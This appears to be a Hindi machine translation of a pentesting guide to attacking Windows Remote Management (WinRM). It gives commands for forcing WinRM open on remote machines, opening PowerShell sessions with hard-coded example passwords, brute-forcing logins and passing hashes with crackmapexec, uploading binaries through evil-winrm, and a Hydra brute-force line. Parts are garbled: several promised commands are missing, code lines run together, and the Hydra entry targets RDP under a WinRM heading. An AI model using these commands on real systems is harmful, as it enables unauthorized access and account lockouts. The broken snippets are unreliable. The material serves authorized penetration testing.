इस दृष्टिकोण में trustedhosts कॉन्फ़िगरेशन में वाइल्डकार्ड जोड़ना शामिल है, जो इसके परिणामों के कारण सावधानीपूर्वक विचार की आवश्यकता है। यह भी ध्यान देने योग्य है कि हमलावर की मशीन पर "सार्वजनिक" से "काम" पर नेटवर्क प्रकार को बदलना आवश्यक हो सकता है।
इसके अतिरिक्त, WinRM को wmic कमांड का उपयोग करके दूरस्थ सक्रिय किया जा सकता है, जैसा निम्नलिखित द्वारा प्रदर्शित किया गया है:
अपनी हमला मशीन की सेटअप की पुष्टि करने के लिए, Test-WSMan कमांड का उपयोग किया जाता है ताकि यह जांच सकें कि लक्ष्य में WinRM सही ढंग से कॉन्फ़िगर किया गया है। इस कमांड को निष्पादित करके, आपको प्रोटोकॉल संस्करण और wsmid के बारे में विवरण प्राप्त करने की उम्मीद है, जो सफल कॉन्फ़िगरेशन की संकेत करेगा। नीचे उदाहरण हैं जो सही ढंग से कॉन्फ़िगर किए गए लक्ष्य के लिए अपेक्षित आउटपुट को दर्शाते हैं:
Test-WSMan<target-ip>
उत्तर में प्रोटोकॉल संस्करण और wsmid की जानकारी होनी चाहिए, जो यह सिद्ध करता है कि WinRM सही ढंग से सेटअप है।
उल्टे, WinRM के लिए विन्यासित नहीं किया गया लक्षित लक्ष्य के लिए कोई ऐसी विस्तृत जानकारी नहीं होगी, जो सही WinRM सेटअप की अनुपस्थिति को हाइलाइट करेगी।
एक कमांड को निष्पादित करें
एक लक्षित मशीन पर दूरस्थ रूप से ipconfig को निष्पादित करने और उसका आउटपुट देखने के लिए करें:
आप अपनी वर्तमान PS कंसोल का एक कमांड Invoke-Command के माध्यम से भी चला सकते हैं। मान लीजिए कि आपके स्थानीय रूप से enumeration नामक एक फ़ंक्शन है और आप इसे एक रिमोट कंप्यूटर में चलाना चाहते हैं, तो आप यह कर सकते हैं:
एक इंटरैक्टिव पावरशेल शैल प्राप्त करने के लिए Enter-PSSession का उपयोग करें:
#If you need to use different creds$password=ConvertTo-SecureString'Stud41Password@123'-Asplaintext -force## Note the ".\" in the suername to indicate it's a local user (host domain)$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)# EnterEnter-PSSession-ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credentialusername]## Bypass proxyEnter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess## Background current PS sessionExit-PSSession# This will leave it in background if it's inside an env var (New-PSSession...)
इस सत्र को "विक्टिम" के अंदर एक नए प्रक्रिया (wsmprovhost) में चलाया जाएगा
WinRM खोलने के लिए जबरदस्ती
PS रिमोटिंग और WinRM का उपयोग करने के लिए लेकिन कंप्यूटर कॉन्फ़िगर नहीं है, तो आप इसे सक्षम कर सकते हैं:
यह काम नहीं करेगा अगर भाषा दूरस्थ कंप्यूटर में सीमित है।
#If you need to use different creds$password=ConvertTo-SecureString'Stud41Password@123'-Asplaintext -force## Note the ".\" in the suername to indicate it's a local user (host domain)$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)#You can save a session inside a variable$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doingEnter-PSSession-Session $sess1
इस सत्र में आप Invoke-Command का उपयोग करके पीएस स्क्रिप्ट्स लोड कर सकते हैं।
enter-pssession : दूरस्थ सर्वर 10.10.10.175 से कनेक्ट करना विफल हुआ और निम्नलिखित त्रुटि संदेश के साथ विफल हुआ: The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.
तो क्लाइंट पर निम्नलिखित को कोशिश करें (यहाँ से जानकारी मिली है):
winrm quickconfigwinrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
HackenProof Discord सर्वर में शामिल होकर अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!
हैकिंग इंसाइट्स
उत्साह और हैकिंग की चुनौतियों में डूबने वाली सामग्री के साथ जुड़ें
रियल-टाइम हैक न्यूज़
रियल-टाइम समाचार और अंदरूनी दुनिया के साथ अप-टू-डेट रहें
नवीनतम घोषणाएं
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफॉर्म अपडेट के साथ सूचित रहें
हमारे साथ जुड़ेंDiscord और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
लिनक्स में WinRM कनेक्शन
ब्रूट फोर्स
सावधान रहें, WinRM को ब्रूट-फोर्स करने से उपयोगकर्ताओं को ब्लॉक किया जा सकता है।
#Brute forcecrackmapexec winrm <IP>-d <DomainName>-u usernames.txt -p passwords.txt#Just check a pair of credentials# Username + Password + CMD command executioncrackmapexec winrm <IP>-d <DomainName>-u <username>-p<password>-x "whoami"# Username + Hash + PS command executioncrackmapexec winrm <IP>-d <DomainName>-u <username>-H<HASH>-X'$PSVersionTable'#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
ईविल-विनर्म का उपयोग करके IPv6 पते से कनेक्ट करने के लिए /etc/hosts में एक प्रविष्टि बनाएं जिसमें एक डोमेन नाम को IPv6 पते के साथ सेट करें और उस डोमेन से कनेक्ट करें।
Protocol_Name: WinRM #Protocol Abbreviation if there is one.
Port_Number: 5985 #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’
https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/
ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory or -s to upload scripts (sherlock)
menu
invoke-binary `tab`
#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
https://book.hacktricks.xyz/pentesting/pentesting-winrm
Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
HackenProof Discord सर्वर में शामिल होकर अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!
हैकिंग इंसाइट्स
हैकिंग के रोमांच और चुनौतियों में डूबने वाली सामग्री के साथ जुड़ें
रियल-टाइम हैक न्यूज़
रियल-टाइम न्यूज़ और अंदरूनी दृष्टिकोण के माध्यम से हैकिंग दुनिया में अद्यतन रहें
नवीनतम घोषणाएं
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफॉर्म अपडेट के साथ सूचित रहें
Discord पर हमारे साथ जुड़ें और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!